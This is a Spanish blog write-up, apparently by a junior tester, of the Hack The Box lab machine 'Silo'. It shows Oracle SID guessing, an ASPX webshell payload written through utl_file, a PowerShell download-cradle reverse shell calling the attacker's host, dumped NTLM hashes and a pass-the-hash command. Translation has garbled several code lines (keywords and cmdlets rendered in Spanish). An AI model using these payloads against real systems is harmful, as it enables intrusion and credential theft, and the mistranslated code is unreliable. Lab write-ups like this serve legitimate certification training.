Road to OSCP - Hack The Box Write Up - Silo

Blog

2
- Febr
2020
Road to OSCP - Hack The Box Write Up - Silo

Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.

En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.

¡Empecemos con la diversión!

Silo

Initial Foothold

Nmap muestra que hay un puerto a la escucha de Oracle en el puerto: 1521 con la versión: 11.2.0.2.0. Una rápida búsqueda en Google nos dice que esta versión es vulnerable a ser explotada con RCE: CVE-2012-1675.

Esta página (https://github.com/quentinhardy/odat/wiki/tnspoison) habla de la explotación con una herramienta llamada odat (Oracle Database Attacking Tool).

Podemos usar este comando odat tnspoison -s $SERVER -d $ID --test-module para probar si el objetivo es vulnerable. Sin embargo, primero necesitamos el $ID (Sistema de identificación de Oracle).

Afortunadamente, con odat -h encontramos que tiene un módulo sidguesser: odat sidguesser -s 10.10.10.82.

[1] (10.10.10.82:1521): Buscando SIDs válidos
1.1] Buscando SIDs válidos gracias a una conocida lista de SIDs en el servidor 10.10.10.82:1521
[+] 'XE' es un SID válido. Continúa...
[+] 'XEXDB' es un SID válido. Continúa...
100% |######################################################################################################################################################################################################################| Tiempo: 00:02:20
[1.2] Buscando identificaciones válidas gracias a un ataque de fuerza bruta en 1 caracteres ahora (10.10.10.82:1521)
100% |######################################################################################################################################################################################################################| Tiempo: 00:00:04
[1.3] Buscando identificaciones válidas gracias a un ataque de fuerza bruta en 2 caracteres ahora (10.10.10.82:1521)
[+] 'XE' es un SID válido. Continúa...
100% |######################################################################################################################################################################################################################| Tiempo: 00:02:07
[+] SIDs encontrados en el servidor de 10.10.10.82:1521: XE,XEXDB

Así que ahora podemos ejecutar el comando para ver si es vulnerable: odat tnspoison -s 10.10.10.82 -d XE --test-module

[1] (10.10.10.82:1521): ¿Es vulnerable al envenenamiento por TNS (CVE-2012-1675)?
El objetivo es vulnerable a un envenenamiento remoto de TNS

Hora de explotarlo: odat tnspoison -s 10.10.10.82 -d XE --poison. Desafortunadamente, el script es jodido debido al reciente puerto a Python 3. Probando la versión de Python 2 tampoco funcionó.

Find Another Path

Intentemos adivinar la contraseña de la base de datos: odat passwordguesser -s 10.10.10.82 -d XE.

No funciona, si echamos un vistazo a la lista de palabras por defecto usr/share/odat/accounts/accounts.txt, todo está en mayúsculas. Sin embargo, este artículo dice que son sensibles a las mayúsculas.

Después de un millón de intentos, la solución es:

  1. Consigue una mejor lista de palabras en Seclists.
  2. Sustituir el : por /.
  3. Usa una macro Vim para clonar cada línea a minúsculas.

Encontramos las credenciales: Scott/Tiger.

  1. Conéctate a la base de datos usando sqlplus: sqlplus scott/tiger@10.10.10.82:1521/XE como sysdba

User

Nuestro objetivo es escribir una web aspx usando sqlplus. Para eso, abrimos una shell aspx: usr/share/webshells/aspx/cmdasp.aspx.

Aparentemente Oracle es muy exigente con la forma en que escribimos los archivos, tiene que ser de menos de 1000 carácteres y en una línea.

Por lo tanto, eliminamos algunos comentarios y estilos. Entonces usa sed -z 's/\n//g' cmdasp.aspx para obtenerlo en 1 línea. La carga útil final se ve así:

declarar
    f utl_file.file_type;
    s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System. IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi. FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr. ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text));Response. Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp: Botón id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Botón><asp:Etiqueta id="lblText" runat="server">Comando:</asp:Etiqueta></form></body></HTML>';
comienza
    f:= utl_file.fopen('/inetpub/wwwroot', 'peng.aspx', 'W');
    utl_file.put_line(f,s);
    utl_file.fclose(f);
end;
/

Después de eso, si navegamos a 10.10.10.82/peng.aspx deberíamos ser capaces de encontrar una web.

Reverse Shell

  1. Abre una reverse powershell con: cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ..
  2. Renombrarlo: mv Invoke-PowerShellTcp.ps1 shell.ps1.
  3. Añada al final: Invocar-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 6969.
  4. Configurar un puerto escucha: Cat -Invp 6969.
  5. Configurar el servidor HTTP: python3 -m http.server.
  6. En el webshell: powershell -ExecutionPolicy Bypass "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/shell.ps1')".

Y obtenemos una shell como iis apppool\defaultapppool.

Raíz

Hay un archivo raro llamado Oracle issue.txt en el escritorio de Phineas. Tiene un enlace de buzón y una contraseña.

Aparentemente, la contraseña no se muestra correctamente debido a nuestra shell estropeada. Conviértela en base64 y decodificarla en Kali:

$fc = Obtener-Contenido "Emisión de Oracle.txt"
$fe = [Sistema.Texto.Codificación]::UTF8.GetBytes($fc)
ToBase64String($fe)

Decodifíquelo: echo - n "U3VwcG9ydCB2ZW5kb3IgZW5nYWdlZCB0byB0cm91Ymxlc2hvb3QgV2luZG93cyAvIE9yYWNsZSBwZXJmb3JtYW5jZSBpc3N1ZSAoZnVsbCBtZW1vcnkgZHVtcCByZXF1ZXN0ZWQpOiAgRHJvcGJveCBsaW5rIHByb3ZpZGVkIHRvIHZlbmRvciAoYW5kIHBhc3N3b3JkIHVuZGVyIHNlcGFyYXRlIGNvdmVyKS4gIERyb3Bib3ggbGluayAgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2gvNjlza3J5emZzemI3ZWxxL0FBRFpuUUViYnFEb0lmNUwyZDBQQnhFTmE/ZGw9MCAgbGluayBwYXNzd29yZDogwqMlSG04NjQ2dUMk" | base64 - d

La contraseña actual es: £%Hm8646uC$.

Tenemos un volcado de memoria: SILO-20180105-221806.dmp. Podemos usar volatilidad para analizarlo.

Diving Into the Dump

La volatility requiere que especifiquemos un perfil para analizar el volcado. Si ejecutamos systeminfo desde nuestro shell inverso, vemos que es un Windows Server 2012 de 64 bits.

Así que, con esa información, podemos obtener hashdump usando el siguiente comando: volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump.

Administrator:500:aad3b435b51404ead3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Invitado:501:aad3b435b51404ead3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404ead3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::

Y con eso, podemos hacer un mitigación de ataques para conseguir una shell: pth-winexe -U Administrator%aad3b435b51404ead3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //10.10.10.82 cmd

Y conseguimos la shell.

Ángel Guzmán/Evaluador Junior

Grado y Master en Ingeniería de Tecnologías de Telecomunicación por la Universidad de Granda, especializado en telématica. Se unió a jtsec en noviembre de 2019 como evaluador de ciberseguridad Junior.

Desde su unión a jtsec, ha participado en varios proyectos internos de hardware hacking y ha recibido formación sobre la certificación LINCE.

Su principal motivación es aprender, desde pequeñas herramientas para su trabajo diario hasta nuevas tecnologías.


Contacto

¡Envíanos tus dudas o sugerencias!

Al enviar tus datos nos permites que los usemos para resolver tus dudas enviándote información comercial de tu interés. Los suprimiremos cuando dejen de ser necesarios para esto. Infórmate de tus derechos en nuestra Política de Privacidad.